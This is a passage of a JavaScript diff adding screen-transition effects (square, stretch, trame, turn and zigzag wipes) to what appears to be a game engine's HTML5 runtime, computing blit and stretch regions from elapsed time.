+ x = sw - rw;
+ y = 0;
+ break;
+ case CTrans.TOP_BOTTOM:
+ x = 0;
+ y = rw - sh;
+ break;
+ case CTrans.BOTTOM_TOP:
+ x = 0;
+ y = sh - rw;
+ break;
+ }
+ this.blit(this.source2, x, y, 0, 0, sw, sh);
+ this.m_rw = rw;
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransSquare()
+ {
+ this.dwStyle = 0;
+ this.dwPos = 0;
+ this.dwStretch = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ }
+ CTransSquare.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.dwPos = file.readAInt();
+ this.dwStretch = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if (elapsedTime / this.m_duration > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var x, y, w, h;
+ var width, height;
+
+ // Inside Square
+ /////////////////
+
+ width = this.m_source2Width * this.dwPos / 100;
+ height = this.m_source2Height * this.dwPos / 100;
+
+ w = width * elapsedTime / this.m_duration;
+ h = height * elapsedTime / this.m_duration;
+ x = this.m_source2Width / 2 - w / 2;
+ y = this.m_source2Height / 2 - h / 2;
+
+ // No Stretch
+ if (this.dwStretch == 0)
+ this.blit(this.source2, x, y, x, y, w, h);
+ else
+ this.stretch(this.source2, x, y, w, h, this.m_source2Width / 2 - width / 2, this.m_source2Height / 2 - height / 2, width, height);
+
+ // Outside Square
+ //////////////////
+
+ var pos = 100 - this.dwPos;
+ width = this.m_source2Width * pos / 100;
+ height = this.m_source2Height * pos / 100;
+
+ w = width / 2 * elapsedTime / this.m_duration;
+ h = height / 2 * elapsedTime / this.m_duration;
+ this.blit(this.source2, 0, 0, 0, 0, this.m_source2Width, h); // Up To Down
+ this.blit(this.source2, 0, 0, 0, 0, w, this.m_source2Height); // Left to Right
+ this.blit(this.source2, 0, this.m_source2Height - h, 0, this.m_source2Height - h, this.m_source2Width, h); // Down To Up
+ this.blit(this.source2, this.m_source2Width - w, 0, this.m_source2Width - w, 0, w, this.m_source2Height); // Right To Left
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransStretch()
+ {
+ this.dwStyle = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ }
+ CTransStretch.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var w, h;
+
+ switch (this.dwStyle)
+ {
+ // Top Left
+ case 0:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.stretch(this.source2, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ break;
+ // Top Right
+ case 1:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.stretch(this.source2, this.m_source2Width - w, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ break;
+ // Bottom Left
+ case 2:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.stretch(this.source2, 0, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ break;
+ // Bottom Right
+ case 3:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.stretch(this.source2, this.m_source2Width - w, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ break;
+ // 4 corners
+ case 4:
+ // Top Left
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ if (h < 5)
+ h = 5;
+ this.stretch(this.source2, 0, 0, w, h, 0, 0, this.source1.width / 2, this.source1.height / 2);
+ // Top Right
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ if (h < 5)
+ h = 5;
+ this.stretch(this.source2, this.m_source2Width - w, 0, w, h, this.m_source2Width / 2, 0, this.m_source2Width / 2, this.m_source2Height / 2);
+ // Bottom Left
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.stretch(this.source2, 0, this.m_source2Height - h, w, h, 0, this.m_source2Height / 2, this.m_source2Width / 2, this.m_source2Height / 2);
+ // Bottom Right
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.stretch(this.source2, this.m_source2Width - w, this.m_source2Height - h, w, h, this.m_source2Width / 2, this.m_source2Height / 2, this.m_source2Width / 2, this.m_source2Height / 2);
+ break;
+ // Center
+ case 5:
+ // Top Left
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ if (h < 5)
+ h = 5;
+ this.stretch(this.source2, this.m_source2Width / 2 - w, this.m_source2Height / 2 - h, w, h, 0, 0, this.source1.width / 2, this.source1.height / 2);
+ // Top Right
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ if (h < 5)
+ h = 5;
+ this.stretch(this.source2, this.m_source2Width / 2, this.m_source2Height / 2 - h, w, h, this.m_source2Width / 2, 0, this.m_source2Width / 2, this.m_source2Height / 2);
+ // Bottom Left
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.stretch(this.source2, this.m_source2Width / 2 - w, this.m_source2Height / 2, w, h, 0, this.m_source2Height / 2, this.m_source2Width / 2, this.m_source2Height / 2);
+ // Bottom Right
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.stretch(this.source2, this.m_source2Width / 2, this.m_source2Height / 2, w, h, this.m_source2Width / 2, this.m_source2Height / 2, this.m_source2Width / 2, this.m_source2Height / 2);
+ break;
+ // Top Middle
+ case 6:
+ w = this.m_source2Width;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.stretch(this.source2, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ break;
+ // Middle Left
+ case 7:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height;
+ this.stretch(this.source2, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ break;
+ // Middle Right
+ case 8:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height;
+ this.stretch(this.source2, this.m_source2Width - w, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ break;
+ // Bottom Middle
+ case 9:
+ w = this.m_source2Width;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.stretch(this.source2, 0, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ break;
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransStretch2()
+ {
+ this.dwStyle = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ this.m_phase = 0;
+ }
+ CTransStretch2.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ this.m_phase = 0;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var w, h;
+
+ switch (this.dwStyle)
+ {
+ // Top Left
+ case 0:
+ if (this.m_phase == 0)
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+
+ this.stretch(this.source1, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w -= this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h -= this.m_source2Height;
+ this.stretch(this.source2, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Top Middle
+ case 1:
+ if (this.m_phase == 0)
+ {
+ w = this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+
+ this.stretch(this.source1, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h -= this.m_source2Height;
+ this.stretch(this.source2, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Top Right
+ case 2:
+ if (this.m_phase == 0)
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+
+ this.stretch(this.source1, this.m_source2Width - w, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w -= this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h -= this.m_source2Height;
+ this.stretch(this.source2, this.m_source2Width - w, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Middle Left
+ case 3:
+ if (this.m_phase == 0)
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = this.m_source2Height;
+
+ this.stretch(this.source1, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w -= this.m_source2Width;
+ h = this.m_source2Height;
+ this.stretch(this.source2, 0, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Center H
+ case 4:
+ if (this.m_phase == 0)
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = this.m_source2Height;
+
+ this.stretch(this.source1, this.m_source2Width / 2 - w / 2, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w -= this.m_source2Width;
+ h = this.m_source2Height;
+ this.stretch(this.source2, this.m_source2Width / 2 - w / 2, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Center V
+ case 5:
+ if (this.m_phase == 0)
+ {
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+ w = this.m_source2Width;
+
+ this.stretch(this.source1, 0, this.m_source2Height / 2 - h / 2, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h -= this.m_source2Height;
+ w = this.m_source2Width;
+ this.stretch(this.source2, 0, this.m_source2Height / 2 - h / 2, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Center H+V
+ case 6:
+ if (this.m_phase == 0)
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+
+ this.stretch(this.source1, this.m_source2Width / 2 - w / 2, this.m_source2Height / 2 - h / 2, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w -= this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h -= this.m_source2Height;
+ this.stretch(this.source2, this.m_source2Width / 2 - w / 2, this.m_source2Height / 2 - h / 2, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Middle Right
+ case 7:
+ if (this.m_phase == 0)
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = this.m_source2Height;
+
+ this.stretch(this.source1, this.m_source2Width - w, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w -= this.m_source2Width;
+ h = this.m_source2Height;
+ this.stretch(this.source2, this.m_source2Height - w, 0, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Bottom Left
+ case 8:
+ if (this.m_phase == 0)
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+
+ this.stretch(this.source1, 0, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w -= this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h -= this.m_source2Height;
+ this.stretch(this.source2, 0, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Bottom Middle
+ case 9:
+ if (this.m_phase == 0)
+ {
+ w = this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+
+ this.stretch(this.source1, 0, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h -= this.m_source2Height;
+ this.stretch(this.source2, 0, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ // Bottom Right
+ case 10:
+ if (this.m_phase == 0)
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+
+ this.stretch(this.source1, this.m_source2Width - w, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (elapsedTime >= this.m_duration / 2)
+ this.m_phase = 1;
+ }
+ else
+ {
+ w = 2 * this.m_source2Width * elapsedTime / this.m_duration;
+ w -= this.m_source2Width;
+ h = 2 * this.m_source2Height * elapsedTime / this.m_duration;
+ h -= this.m_source2Height;
+ this.stretch(this.source2, this.m_source2Width - w, this.m_source2Height - h, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ }
+ break;
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransTrame()
+ {
+ this.dwStyle = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ this.m_index = 0;
+ this.m_index2 = 0;
+ }
+ CTransTrame.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ this.m_index = 0;
+ this.m_index2 = 0;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var w, h, i, j, k;
+
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+
+ if (this.dwStyle == 0)
+ {
+ k = h % 2;
+ for (i = 0; i < this.m_source2Width; i += 2)
+ {
+ for (j = this.m_index; j < h; j++)
+ {
+ this.blit(this.source2, i, j, i, j, 1, 1);
+ }
+ for (j = this.m_source2Height - h - k; j < this.m_source2Height - this.m_index; j++)
+ {
+ this.blit(this.source2, i + 1, j + 1, i + 1, j + 1, 1, 1);
+ }
+ }
+ if (h % 2 == 0)
+ this.m_index = h;
+ else
+ this.m_index = h - 1;
+ }
+
+ if (this.dwStyle == 1)
+ {
+ k = w % 2;
+ for (j = 0; j < this.m_source2Height; j++)
+ {
+ for (i = this.m_index2; i < w; i += 2)
+ {
+ this.blit(this.source2, i + 1, j, i + 1, j, 1, 1);
+ }
+ for (i = this.m_source2Width - w - k; i < this.m_source2Width - this.m_index2; i += 2)
+ {
+ this.blit(this.source2, i, j + 1, i, j + 1, 1, 1);
+ }
+ }
+ if (w % 2 == 0)
+ this.m_index2 = w;
+ else
+ this.m_index2 = w - 1;
+ }
+
+ if (this.dwStyle == 2)
+ {
+ k = h % 2;
+ for (i = 0; i < this.m_source2Width; i += 2)
+ {
+ for (j = this.m_index; j < h; j += 2)
+ {
+ this.blit(this.source2, i, j, i, j, 1, 1);
+ }
+ for (j = this.m_source2Height - h - k; j < this.m_source2Height - this.m_index; j += 2)
+ {
+ this.blit(this.source2, i + 1, j + 1, i + 1, j + 1, 1, 1);
+ }
+ }
+
+ k = w % 2;
+ for (j = 0; j < this.m_source2Height; j += 2)
+ {
+ for (i = this.m_index2; i < w; i += 2)
+ {
+ this.blit(this.source2, i + 1, j, i + 1, j, 1, 1);
+ }
+ for (i = this.m_source2Width - w - k; i < this.m_source2Width - this.m_index2; i += 2)
+ {
+ this.blit(this.source2, i, j + 1, i, j + 1, 1, 1);
+ }
+ }
+ if (h % 2 == 0)
+ this.m_index = h;
+ else
+ this.m_index = h - 1;
+ if (w % 2 == 0)
+ this.m_index2 = w;
+ else
+ this.m_index2 = w - 1;
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransTurn()
+ {
+ this.dwPos = 0;
+ this.dwCheck1 = 0;
+ this.dwCheck2 = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ this.m_angle = 0;
+ }
+ CTransTurn.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwPos = file.readAInt();
+ this.dwCheck1 = file.readAInt();
+ this.dwCheck2 = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ this.m_angle = 0.0;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var x, y, w, h;
+ var dist, xcenter, ycenter;
+
+ xcenter = this.m_source2Width / 2;
+ ycenter = this.m_source2Height / 2;
+
+ this.m_angle = this.dwPos * 6.28318 * elapsedTime / this.m_duration;
+
+ // Inverse ?
+ if (this.dwCheck2 == 1)
+ {
+ this.m_angle = 6.28318 - this.m_angle;
+ }
+
+ dist = this.m_source2Width / 2 - this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ x = Math.floor(xcenter + Math.cos(this.m_angle) * dist);
+ y = Math.floor(ycenter + Math.sin(this.m_angle) * dist);
+
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+
+ this.stretch(this.source1, 0, 0, this.m_source2Width, this.m_source2Height, 0, 0, this.source1.width, this.source1.height);
+
+ // Full Image ?
+ if (this.wCheck1 == 1)
+ this.stretch(this.source2, x - w / 2, y - h / 2, w, h, 0, 0, this.m_source2Width, this.m_source2Height);
+ else
+ this.stretch(this.source2, x - w / 2, y - h / 2, w, h, this.m_source2Width - w, this.m_source2Height - h, w, h);
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransTurn2()
+ {
+ this.dwPos = 0;
+ this.dwCheck1 = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ this.m_curcircle = 0;
+ }
+ CTransTurn2.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwPos = file.readAInt();
+ this.dwCheck1 = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ this.m_curcircle = 0;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var x, y, xcenter, ycenter, dist;
+ var angle = 0.0;
+
+ xcenter = this.m_source2Width / 2;
+ ycenter = this.m_source2Height / 2;
+
+ angle = this.dwPos * 6.28318 * elapsedTime / this.m_duration;
+ angle -= this.m_curcircle * 6.28318;
+ if (this.dwCheck1 == 1)
+ angle = 6.28318 - angle;
+
+ dist = this.m_source2Width * elapsedTime / this.m_duration;
+ x = Math.floor(xcenter + Math.cos(angle) * dist);
+ y = Math.floor(ycenter + Math.sin(angle) * dist);
+
+ this.blit(this.source2);
+ this.blit(this.source1, x - this.m_source2Width / 2, y - this.m_source2Height / 2, 0, 0, this.m_source2Width, this.m_source2Height);
+
+ if (this.dwCheck1 == 0)
+ {
+ if (angle >= 6.28318)
+ this.m_curcircle++;
+ }
+ else
+ {
+ if (angle <= 0)
+ this.m_curcircle++;
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransZigZag()
+ {
+ this.zpSpotPercent = 0;
+ this.zpStartPoint = 0;
+ this.zpDirection = 0;
+ this.m_spotSize = 0;
+ this.m_nbBlockPerLine = 0;
+ this.m_nbBlockPerCol = 0;
+ this.m_nbBlocks = 0;
+ this.m_lastNbBlocks = 0;
+ this.m_curx = 0;
+ this.m_cury = 0;
+ this.m_currentDirection = 0;
+ this.m_currentStartPoint = 0;
+ this.m_left = 0;
+ this.m_top = 0;
+ this.m_right = 0;
+ this.m_bottom = 0;
+ }
+ CTransZigZag.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.zpSpotPercent = file.readAInt();
+ this.zpStartPoint = file.readAShort();
+ this.zpDirection = file.readAShort();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ var sw = this.source1.width;
+ var sh = this.source1.height;
+
+ // 1st time? create surface
+ if (this.m_starting)
+ {
+ // Spot size: voir si ca rend bien
+ this.m_spotSize = Math.floor(((sw * this.zpSpotPercent / 100) + (sh * this.zpSpotPercent / 100)) / 2);
+ if (this.m_spotSize == 0)
+ this.m_spotSize = 1;
+
+ this.m_nbBlockPerLine = ((sw + this.m_spotSize - 1) / this.m_spotSize);
+ this.m_nbBlockPerCol = ((sh + this.m_spotSize - 1) / this.m_spotSize);
+
+ // Start point
+ this.m_currentDirection = this.zpDirection;
+ this.m_currentStartPoint = this.zpStartPoint;
+
+ switch (this.zpStartPoint)
+ {
+ case CTrans.TOP_LEFT:
+ this.m_curx = this.m_cury = 0;
+ break;
+ case CTrans.TOP_RIGHT:
+ this.m_curx = sw - this.m_spotSize;
+ this.m_cury = 0;
+ break;
+ case CTrans.BOTTOM_LEFT:
+ this.m_curx = 0;
+ this.m_cury = sh - this.m_spotSize;
+ break;
+ case CTrans.BOTTOM_RIGHT:
+ this.m_curx = sw - this.m_spotSize;
+ this.m_cury = sh - this.m_spotSize;
+ break;
+ case CTrans.CENTER:
+ this.m_curx = sw / 2 - this.m_spotSize;
+ this.m_cury = sh / 2 - this.m_spotSize;
+ if (this.m_currentDirection == CTrans.DIR_HORZ)
+ this.m_currentStartPoint = CTrans.TOP_LEFT;
+ else
+ this.m_currentStartPoint = CTrans.TOP_RIGHT;
+ this.m_left = this.m_curx - this.m_spotSize;
+ this.m_top = this.m_cury - this.m_spotSize;
+ this.m_bottom = this.m_cury + this.m_spotSize * 2;
+ this.m_right = this.m_curx + this.m_spotSize * 2;
+
+ this.m_nbBlockPerLine = 2 + 2 * (this.m_curx + this.m_spotSize - 1) / this.m_spotSize;
+ this.m_nbBlockPerCol = 2 + 2 * (this.m_cury + this.m_spotSize - 1) / this.m_spotSize;
+ break;
+ }
+ this.m_nbBlocks = Math.floor(this.m_nbBlockPerLine * this.m_nbBlockPerCol);
+ this.m_lastNbBlocks = 0;
+ this.m_starting = false;
+ }
+
+ if (this.m_spotSize >= sw || this.m_spotSize >= sh)
+ this.blit(this.source2); // termine
+ else
+ {
+ // Compute number of spots to display in 1 step
+ var l;
+ var nbBlocks = Math.floor(this.m_nbBlocks * this.getDeltaTime() / this.m_duration);
+ var nbCurrentBlocks = nbBlocks - this.m_lastNbBlocks;
+ if (nbCurrentBlocks != 0)
+ {
+ this.m_lastNbBlocks = nbBlocks;
+ for (l = 0; l < nbCurrentBlocks; l++)
+ {
+ // Blit current spot
+ this.blit(this.source2, this.m_curx, this.m_cury, this.m_curx, this.m_cury, this.m_spotSize, this.m_spotSize);
+
+ // Increment spot coordinates
+ if (this.zpStartPoint == CTrans.CENTER)
+ {
+ switch (this.m_currentStartPoint)
+ {
+ case CTrans.TOP_LEFT:
+ this.m_curx += this.m_spotSize;
+ if (this.m_curx >= this.m_right)
+ {
+ this.m_curx -= this.m_spotSize;
+ this.m_cury += this.m_spotSize;
+ this.m_currentStartPoint = CTrans.TOP_RIGHT;
+ this.m_right += this.m_spotSize;
+ }
+ break;
+ case CTrans.TOP_RIGHT:
+ this.m_cury += this.m_spotSize;
+ if (this.m_cury >= this.m_bottom)
+ {
+ this.m_cury -= this.m_spotSize;
+ this.m_curx -= this.m_spotSize;
+ this.m_currentStartPoint = CTrans.BOTTOM_RIGHT;
+ this.m_bottom += this.m_spotSize;
+ }
+ break;
+ case CTrans.BOTTOM_RIGHT:
+ this.m_curx -= this.m_spotSize;
+ if ((this.m_curx + this.m_spotSize) <= this.m_left)
+ {
+ this.m_curx += this.m_spotSize;
+ this.m_cury -= this.m_spotSize;
+ this.m_currentStartPoint = CTrans.BOTTOM_LEFT;
+ this.m_left -= this.m_spotSize;
+ }
+ break;
+ case CTrans.BOTTOM_LEFT:
+ this.m_cury -= this.m_spotSize;
+ if ((this.m_cury + this.m_spotSize) <= this.m_top)
+ {
+ this.m_cury += this.m_spotSize;
+ this.m_curx += this.m_spotSize;
+ this.m_currentStartPoint = CTrans.TOP_LEFT;
+ this.m_top -= this.m_spotSize;
+ }
+ break;
+ }
+ }
+ else
+ {
+ switch (this.m_currentDirection)
+ {
+ // Horizontal
+ case CTrans.DIR_HORZ:
+ switch (this.m_currentStartPoint)
+ {
+ case CTrans.TOP_LEFT:
+ this.m_curx += this.m_spotSize;
+ if (this.m_curx >= sw)
+ {
+ this.m_curx -= this.m_spotSize;
+ this.m_cury += this.m_spotSize;
+ this.m_currentStartPoint = CTrans.TOP_RIGHT;
+ }
+ break;
+ case CTrans.TOP_RIGHT:
+ this.m_curx -= this.m_spotSize;
+ if ((this.m_curx + this.m_spotSize) <= 0)
+ {
+ this.m_curx += this.m_spotSize;
+ this.m_cury += this.m_spotSize;
+ this.m_currentStartPoint = CTrans.TOP_LEFT;
+ }
+ break;
+ case CTrans.BOTTOM_LEFT:
+ this.m_curx += this.m_spotSize;
+ if (this.m_curx >= sw)
+ {
+ this.m_curx -= this.m_spotSize;
+ this.m_cury -= this.m_spotSize;
+ this.m_currentStartPoint = CTrans.BOTTOM_RIGHT;
+ }
+ break;
+ case CTrans.BOTTOM_RIGHT:
+ this.m_curx -= this.m_spotSize;
+ if ((this.m_curx + this.m_spotSize) <= 0)
+ {
+ this.m_curx += this.m_spotSize;
+ this.m_cury -= this.m_spotSize;
